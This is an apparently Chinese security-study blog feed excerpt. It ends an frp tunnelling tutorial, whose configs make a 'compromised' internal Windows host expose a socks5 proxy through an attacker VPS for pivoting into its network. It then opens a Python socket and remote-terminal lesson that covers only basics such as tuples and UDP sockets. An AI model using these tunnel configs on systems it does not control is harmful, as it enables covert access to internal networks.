&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入命令 &lt;strong&gt;frpc.exe -c frpc.ini&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/2e59afcad5-o74SUduLgKHYqOZ.png&quot; alt=&quot;10&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在kali-Linux上进行访问&lt;/p&gt;
&lt;p&gt;http://127.0.0.1:23331/login.php&lt;/p&gt;
&lt;p&gt;因为转发到本地的端口了嘛&lt;/p&gt;
&lt;p&gt;这个就相当于&lt;/p&gt;
&lt;p&gt;http://192.168.23.130:23331/login.php&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/5f1a3acca6-Ma1lgUpoFiVb5Oy.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;【在服务端访问127.0.0.1，也就是本地ip地址，将192.168.23.129:23333端口的流量转到服务端192.168.23.130的23331端口】&lt;/p&gt;
&lt;h4&gt;2、全局socks5（流量全部转发）&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/41f5fe96f2-1a7lN2tOUpbukRg.png&quot; alt=&quot;image-20231203131221751&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;黑客PC端（个人主机）&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Windows11【ip：192.168.0.190】&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用户名和密码就是在攻陷主机配置的socks5连接账号和密码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;让小狐狸挂上代理，也就是在浏览器上进行操作的流量都走这个代理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/a51c835d60-vpZyWsheMirYzgw.png&quot; alt=&quot;image-20231203115807437&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;vps云服务器&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;杭州vps【ip：47.96.190.113】&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[common]
bind_port = 23340  
#服务端监听的端口
token = &amp;lt;your-token-here&amp;gt;
#授权码

#dashboard_port = 23339
#管理端口
#dashboard_user = admin	
#登录管理端口的账号
#dashboard_pwd = password
#登录管理端口的密码
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/dc555c83d2-FxoVRkmeg1UOjuH.png&quot; alt=&quot;image-20231203132818392&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;攻陷主机（内网主机）&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Windows10【ip：192.168.23.129】&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[common]
server_addr = 47.96.190.113    #服务端地址
server_port = 23340				#服务端监听的端口
token = &amp;lt;your-token-here&amp;gt;   #客户端和服务端的token值要保持一致

#[http_23333]
#type = tcp
#local_ip = 127.0.0.1
#local_port = 23333
#remote_port = 23331

[socks5]
type = tcp 
plugin = socks5      #使用模块socks5
remote_port = 55555  #socks5端口	
plugin_user = wangyi  #socks5连接账号 
plugin_passwd = &amp;lt;your-socks5-password&amp;gt;	  #socks5连接密码
use_encryption = true	 #加密
use_compression = true   #加密

#注意：socks5有个弊端就是icmp协议是走不了我们这个socks的，那就只能用我注释掉的那个点对点的方式来传输了，还有就是没有设置socks5连接账号和密码和token的话就很容易被钓鱼，因此保险起见还是得需要设置一下账号密码和token
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/00c406ca73-1zqPEZlgbI9VWkr.png&quot; alt=&quot;image-20231203133155030&quot; /&gt;&lt;/p&gt;
&lt;p&gt;试着在攻击端访问一下内网&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/cbeeff8ba5-14cdugNebUWOGjp.png&quot; alt=&quot;image-20231203133449332&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/9c22d4d379-yE4xho2c5SMXdDV.png&quot; alt=&quot;image-20231203134003069&quot; /&gt;&lt;/p&gt;
&lt;p&gt;云服务器上也会弹出许多日志信息&lt;/p&gt;
&lt;p&gt;那如果要做到全局代理要怎么办呢？现在我们只能在浏览器上代理，然后把流量转过去&lt;/p&gt;
&lt;p&gt;这时候我们就需要用到Proxifier这个工具&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/6b1b89f847-x9w7D6ZpFRNtsY5.png&quot; alt=&quot;image-20231203134051959&quot; /&gt;&lt;/p&gt;
&lt;p&gt;步骤就是&lt;/p&gt;
&lt;p&gt;配置文件-&amp;gt;代理服务器-&amp;gt;添加&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/a7bc8688d6-image-20231203134745067.png&quot; alt=&quot;image-20231203134745067&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用户名就是之前在攻陷主机配置的socks连接的账号密码，怕忘记再贴过来回忆回忆&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[socks5]
type = tcp 
plugin = socks5      #使用模块socks5
remote_port = 55555  #socks5端口	
plugin_user = wangyi  #socks5连接账号 
plugin_passwd = &amp;lt;your-socks5-password&amp;gt;	  #socks5连接密码
use_encryption = true	 #加密
use_compression = true   #加密
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应着填上去配置就行，然后点击检查&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/1d9e481c3c-image-20231203134950797.png&quot; alt=&quot;image-20231203134950797&quot; /&gt;&lt;/p&gt;
&lt;p&gt;代理是没有问题的&lt;/p&gt;
&lt;p&gt;然后设置一下代理规则，也就是在配置文件那里&lt;/p&gt;
&lt;p&gt;如果我们要设置全局代理的话就把Default改成我们刚才配置的代理，然后点击确定&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/186bf8eb97-image-20231203135132841.png&quot; alt=&quot;image-20231203135132841&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这时候我们的所有流量都会被代理过去，尝试访问一下百度试试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/e2743d33bc-bYHKQcv2ydN8zo9.png&quot; alt=&quot;image-20231203135409601&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以发现多了很多的日志信息，说明了代理成功，不过网速有可能会很慢，因为socks的一个代理速度取决于公网服务器vps的带宽速度，如果想要更快响应的话就需要提升vps的带宽&lt;/p&gt;
&lt;p&gt;然后之前云服务器不是有提到一个管理端口，这里也给贴过来回忆一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[common]
bind_port = 23340  
#服务端监听的端口
token = &amp;lt;your-token-here&amp;gt;
#授权码

dashboard_port = 23339
#管理端口
dashboard_user = admin	
#登录管理端口的账号
dashboard_pwd = password
#登录管理端口的密码
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们把23339设置成了管理端口，我们尝试登录一下&lt;/p&gt;
&lt;p&gt;http://47.96.190.113:23339&lt;/p&gt;
&lt;p&gt;输入账号admin，密码password成功登录&lt;/p&gt;
&lt;p&gt;（登录界面是长这个样的，不过我忘记截图了，就把上课时候的画面截了出来，凑合着看）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/dc44c8a0ac-8AGR9PybljJS7Vp.png&quot; alt=&quot;image-20231203140732785&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个是我自己的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/netcat-frp-tunnel/4accf49bad-bTiO4PEMdfF2aQ7.png&quot; alt=&quot;13&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这就是frp的后台管理系统&lt;/p&gt;
</content:encoded></item><item><title>Python Socket 与远控终端原理</title><link>https://wangyi187.top/posts/python-socket-rat/</link><guid isPermaLink="true">https://wangyi187.top/posts/python-socket-rat/</guid><description>0x04 python&amp;socket&amp;远控终端 一、python 此处的python内容只是基于socket和远控终端 进阶 需要的知识内容来进行复习 1、f string 格式化</description><pubDate>Wed, 19 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x04 python&amp;amp;socket&amp;amp;远控终端&lt;/h1&gt;
&lt;hr /&gt;
&lt;h2&gt;一、python&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;此处的python内容只是基于socket和远控终端(进阶)需要的知识内容来进行复习&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1、f-string&lt;/h3&gt;
&lt;p&gt;格式化字符串常量（formatted string literals）&lt;/p&gt;
&lt;p&gt;例子:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;list_ = [1,2,3]
print(list_, f&apos;has a length of {len(list_)}.&apos;)

# [1,2,3] has a length of 3.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;大概用法就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;格式化 {} 内容，不在 {} 内的照常展示输出，如果你想输出 {}，那就用双层 {{}} 将想输出的内容包起来。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2、字符串和bytes类型相互转换&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;字符串类型(str)=&amp;gt;bytes类型&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;hello&apos;=&amp;gt;b&apos;hello&apos;

&apos;hello&apos;.encode()  #对字符串做一个编码，让str成为bytes类型
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;bytes类型=&amp;gt;字符串类型(str)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;b&apos;hello&apos;.decode()  #对bytes类型做一个解码，让bytes类型成为str类型
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3、input&lt;/h3&gt;
&lt;p&gt;input(&apos;提示性文字:&apos;)&lt;/p&gt;
&lt;p&gt;输出:提示性文字:&lt;strong&gt;键盘输入的字符&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;就譬如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name = input(&apos;请输入你的名字:&apos;)
print(name)

#输出
请输入你的名字:
请输入你的名字:陈
陈
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;里面可以放f-string&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;4、元组&lt;/h3&gt;
&lt;p&gt;Python 的元组与列表类似，不同之处在于&lt;strong&gt;元组的元素不能修改&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;元组使用小括号，列表使用方括号&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;元组创建很简单，只需要在&lt;strong&gt;括号中添加元素，并使用逗号隔开即可&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;如下实例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tup1 = (&apos;physics&apos;, &apos;chemistry&apos;, 1997, 2000)
tup2 = (1, 2, 3, 4, 5 )
tup3 = &quot;a&quot;, &quot;b&quot;, &quot;c&quot;, &quot;d&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;创建空元组&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tup1 = ()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;元组中只包含一个元素时，需要在元素后面添加逗号&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tup1 = (50,)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;元组与字符串类似，下标索引从0开始，可以进行截取，组合等。&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;1)访问元组&lt;/h4&gt;
&lt;p&gt;元组可以&lt;strong&gt;使用下标索引来访问元组中的值&lt;/strong&gt;，如下实例:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python
 
tup1 = (&apos;physics&apos;, &apos;chemistry&apos;, 1997, 2000)
tup2 = (1, 2, 3, 4, 5, 6, 7 )
 
print &quot;tup1[0]: &quot;, tup1[0]
print &quot;tup2[1:5]: &quot;, tup2[1:5]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上实例输出结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tup1[0]:  physics
tup2[1:5]:  (2, 3, 4, 5)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2)修改元组&lt;/h4&gt;
&lt;p&gt;元组中的&lt;strong&gt;元素值是不允许修改&lt;/strong&gt;的，但我们可&lt;strong&gt;以对元组进行连接组合&lt;/strong&gt;，如下实例:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
tup1 = (12, 34.56)
tup2 = (&apos;abc&apos;, &apos;xyz&apos;)
 
# 以下修改元组元素操作是非法的。
# tup1[0] = 100
 
# 创建一个新的元组
tup3 = tup1 + tup2
print tup3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上实例输出结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(12, 34.56, &apos;abc&apos;, &apos;xyz&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3)删除元组&lt;/h4&gt;
&lt;p&gt;元组中的&lt;strong&gt;元素值是不允许删除&lt;/strong&gt;的，但我们&lt;strong&gt;可以使用del语句来删除整个元组&lt;/strong&gt;，如下实例:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python
 
tup = (&apos;physics&apos;, &apos;chemistry&apos;, 1997, 2000)
 
print tup
del tup
print &quot;After deleting tup : &quot;
print tup
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上实例&lt;strong&gt;元组被删除后，输出变量会有异常信息&lt;/strong&gt;，输出如下所示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(&apos;physics&apos;, &apos;chemistry&apos;, 1997, 2000)
After deleting tup :
Traceback (most recent call last):
  File &quot;test.py&quot;, line 9, in &amp;lt;module&amp;gt;
    print tup
NameError: name &apos;tup&apos; is not defined
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4)元组运算符&lt;/h4&gt;
&lt;p&gt;与字符串一样，元组之间&lt;strong&gt;可以使用 + 号和 * 号进行运算&lt;/strong&gt;。这就意味着他们&lt;strong&gt;可以组合和复制，运算后会生成一个新的元组&lt;/strong&gt;。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Python 表达式&lt;/th&gt;
&lt;th&gt;结果&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;len((1, 2, 3))&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;计算元素个数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;(1, 2, 3) + (4, 5, 6)&lt;/td&gt;
&lt;td&gt;(1, 2, 3, 4, 5, 6)&lt;/td&gt;
&lt;td&gt;连接&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;(&apos;Hi!&apos;,) * 4&lt;/td&gt;
&lt;td&gt;(&apos;Hi!&apos;, &apos;Hi!&apos;, &apos;Hi!&apos;, &apos;Hi!&apos;)&lt;/td&gt;
&lt;td&gt;复制&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3 in (1, 2, 3)&lt;/td&gt;
&lt;td&gt;True&lt;/td&gt;
&lt;td&gt;元素是否存在&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;for x in (1, 2, 3): print x,&lt;/td&gt;
&lt;td&gt;1 2 3&lt;/td&gt;
&lt;td&gt;迭代&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;5)元组索引，截取&lt;/h4&gt;
&lt;p&gt;因为&lt;strong&gt;元组也是一个序列&lt;/strong&gt;，所以我们&lt;strong&gt;可以访问元组中的指定位置的元素&lt;/strong&gt;，也可以&lt;strong&gt;截取索引中的一段元素&lt;/strong&gt;，如下所示：&lt;/p&gt;
&lt;p&gt;元组：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;L = (&apos;spam&apos;, &apos;Spam&apos;, &apos;SPAM!&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Python 表达式&lt;/th&gt;
&lt;th&gt;结果&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;L[2]&lt;/td&gt;
&lt;td&gt;&apos;SPAM!&apos;&lt;/td&gt;
&lt;td&gt;读取第三个元素&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;L[-2]&lt;/td&gt;
&lt;td&gt;&apos;Spam&apos;&lt;/td&gt;
&lt;td&gt;反向读取，读取倒数第二个元素&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;L[1:]&lt;/td&gt;
&lt;td&gt;(&apos;Spam&apos;, &apos;SPAM!&apos;)&lt;/td&gt;
&lt;td&gt;截取元素&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;6)无关闭分隔符&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;任意无符号的对象，以逗号隔开，默认为元组&lt;/strong&gt;，如下实例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python
 
print &apos;abc&apos;, -4.24e93, 18+6.6j, &apos;xyz&apos;
x, y = 1, 2
print &quot;Value of x , y : &quot;, x,y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上实例运行结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;abc -4.24e+93 (18+6.6j) xyz
Value of x , y : 1 2
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;7)元组内置函数&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Python元组包含了以下内置函数&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;序号&lt;/th&gt;
&lt;th&gt;方法及描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/python/att-tuple-cmp.html&quot;&gt;cmp(tuple1, tuple2)&lt;/a&gt; 比较两个元组元素。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/python/att-tuple-len.html&quot;&gt;len(tuple)&lt;/a&gt; 计算元组元素个数。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/python/att-tuple-max.html&quot;&gt;max(tuple)&lt;/a&gt; 返回元组中元素最大值。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/python/att-tuple-min.html&quot;&gt;min(tuple)&lt;/a&gt; 返回元组中元素最小值。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.runoob.com/python/att-tuple-tuple.html&quot;&gt;tuple(seq)&lt;/a&gt; 将列表转换为元组。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;二、socket&lt;/h2&gt;
&lt;p&gt;socket=&amp;gt;套接字=&amp;gt;&lt;strong&gt;进程间通信&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;网络上面大部分的程序/服务都是基于socket来完成通信的&lt;/p&gt;
&lt;p&gt;我们要了解网络中&lt;strong&gt;如何进程间通信&lt;/strong&gt;的话就需要&lt;strong&gt;先解决两个问题&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;网络中如何标识一台主机？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;​	&lt;strong&gt;IP&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;网络中如何标识唯一进程？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;​	&lt;strong&gt;PORT&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;就譬如说现在我想和它的进程通讯，它的进程为nginx=&amp;gt;80端口&lt;/p&gt;
&lt;p&gt;我们去访问它的80端口，相当于访问到它的一个nginx进程，然后nginx给我们的client提供了一个web服务，此时我们就通过它的端口号去访问到它的一个进程&lt;/p&gt;
&lt;p&gt;现在有IP和端口还差一个协议(通信三元组:IP、端口、协议)那就&lt;/p&gt;
&lt;p&gt;**https://**xxx.xxx.xxx.xxx:xxxxx&lt;/p&gt;
&lt;p&gt;=&amp;gt;https协议&lt;/p&gt;
&lt;p&gt;通过&lt;strong&gt;三元组&lt;/strong&gt;就可以进行网络进程间的通信了&lt;/p&gt;
&lt;h3&gt;1、python socket server/client思路分析&lt;/h3&gt;
&lt;p&gt;打开pycharm&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import socket

s = socket.socket()
print(s)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;(原图床图片已失效)&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;socket.socket fd=520, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;family:套接字家族---使用什么样的协议(ipv4/ipv6)

	socket.AF_INET =&amp;gt; ipv4
	
	socket.AF_INET6 =&amp;gt; ipv6
	
type:套接字样式---TCP/UDP

	socket.SOCK_STREAM : 流套接字(TCP)
	
	socket.SOCK_DGRAM : 数据报套接字(UDP)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那接下来我们输入将family改为socket.AF_INET&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/02deae3b76-sPzI3A6WjUGNbDK.png&quot; alt=&quot;image-20231210193322542&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以发现输出值并没有改变，默认就是ipv4呗，然后再来将type改为数据报套接字(UDP)&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/3c60f8b142-vS6E32lDOhRKVMP.png&quot; alt=&quot;image-20231210193442475&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以发现最底下的type值改变了&lt;/p&gt;
&lt;p&gt;那我们现在**新建了一个UDP连接 s **，默认为ipv4，所以前面删掉不写&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/0c1d0b3459-image-20231210193634840.png&quot; alt=&quot;image-20231210193634840&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;那这个时候就有一些相关的函数，比如说一些接收的函数&lt;strong&gt;s.recv&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们这里用比较基础的&lt;strong&gt;s.recvfrom&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/2e6c8b7b4b-OUAh4RqKl9crExS.png&quot; alt=&quot;image-20231210193927812&quot; /&gt;&lt;/p&gt;
&lt;p&gt;需要有两个参数，一个字节大小，一个标志位，标志位这里默认有个等于项了，然后它的返回值指向了tuple(元组)，tuple里面有bytes，Any，可以看出来它是可以&lt;strong&gt;返回数据和对方传过来的IP地址和端口的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先它需要传递一个字节大小，我们再创建一个变量data用来存储传输的数据&lt;/p&gt;
&lt;p&gt;这边作为一个接收端s.py&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import socket

s = socket.socket(type=socket.SOCK_DGRAM)
data = s.recvfrom(1024)
print(s)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同样的写法在c.py写一个，只不过c.py是发送端，就不需要接收的函数了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import socket

c = socket.socket(type=socket.SOCK_DGRAM)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是此时会陷入阻塞状态，你想让别人找到你就需要一个ip地址，我们就需要**s.bind()**这个函数&lt;/p&gt;
&lt;p&gt;我们看这个&lt;strong&gt;s.bind&lt;/strong&gt;需要的参数tuple知道它需要传进去一个元组&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/6141c5d9d9-RWtcnl5CaXMdOVT.png&quot; alt=&quot;image-20231210195017736&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们定义一个元组为&lt;strong&gt;serverAddr = (&apos;127.0.0.1&apos;,1226)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;让这个udp连接的服务端绑定这个地址&lt;strong&gt;s.bind(serverAddr)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;此时再运行程序s.py会发现还是被阻塞了，看终端python的标识上有绿点就代表python还在运行中，红色代表报错，没有颜色就代表结束运行，此时是绿点&lt;/p&gt;
&lt;p&gt;此时因为服务端的有&lt;strong&gt;s.recefrom(1024)&lt;strong&gt;这是一个&lt;/strong&gt;阻塞方法&lt;/strong&gt;，它会等别人把数据发给它之后它的程序才会继续往下走&lt;/p&gt;
&lt;p&gt;此时客户端c.py一样写了&lt;strong&gt;serverAddr = (&apos;127.0.0.1&apos;,1226)&lt;/strong&gt;，有发送的目标，但是并没有发送内容，所以我们还需要一些&lt;strong&gt;发送函数c.send&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这里我们用&lt;strong&gt;c.sendto()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/399127b77e-sqXxFY269ecufir.png&quot; alt=&quot;image-20231210201826174&quot; /&gt;&lt;/p&gt;
&lt;p&gt;它需要的参数有数据和地址(元组)，说简单就是朝什么地方发送什么数据，它的返回值是int型，其实无关紧要&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/0a00d51351-I7lFcGgQDMaSZ8t.png&quot; alt=&quot;image-20231210202038671&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个元组如果不填的话是有默认值为任意地址的&lt;/p&gt;
&lt;p&gt;但是此时我们看&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/2ca3bb59ff-gyv7RIdsuMoif1z.png&quot; alt=&quot;image-20231210202139176&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;报错了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TypeError: a bytes-like object is required,not &apos;str&apos;

TypeError:需要bytes类对象，而不是&apos;str&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;证明发的不能是&apos;hello&apos;字符串嘛，需要是bytes类型&lt;/p&gt;
&lt;p&gt;我们就需要将字符串转化为byte类型---&lt;strong&gt;b&apos;hello&apos;就可以直接转换&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意服务器与主机之间所有的通信都是bytes类型的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这时候再运行发现&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/21521c9fce-7luTDEe2KMs4ZHt.png&quot; alt=&quot;image-20231210203645431&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这时候data接收到了一个元组，第一个东西是数据，第二个东西是地址&lt;/p&gt;
&lt;p&gt;但是我们之前并没有给s.py发送客户端的地址，我们之前是朝哪个地址发送什么数据，所以我们可以知道&lt;strong&gt;recvfrom不但接收到客户端的数据还接收到了对方的发送端口(IP地址)&lt;/strong&gt;，但客户端并没有给它绑定端口，所以它会使用一个随机端口给我们去发数据&lt;/p&gt;
&lt;p&gt;因为它会发送两个东西，所以我们用两个变量给它接收掉&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;data，clientAddr = s.recvfrom(1024)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;输出也变成两个&lt;/p&gt;
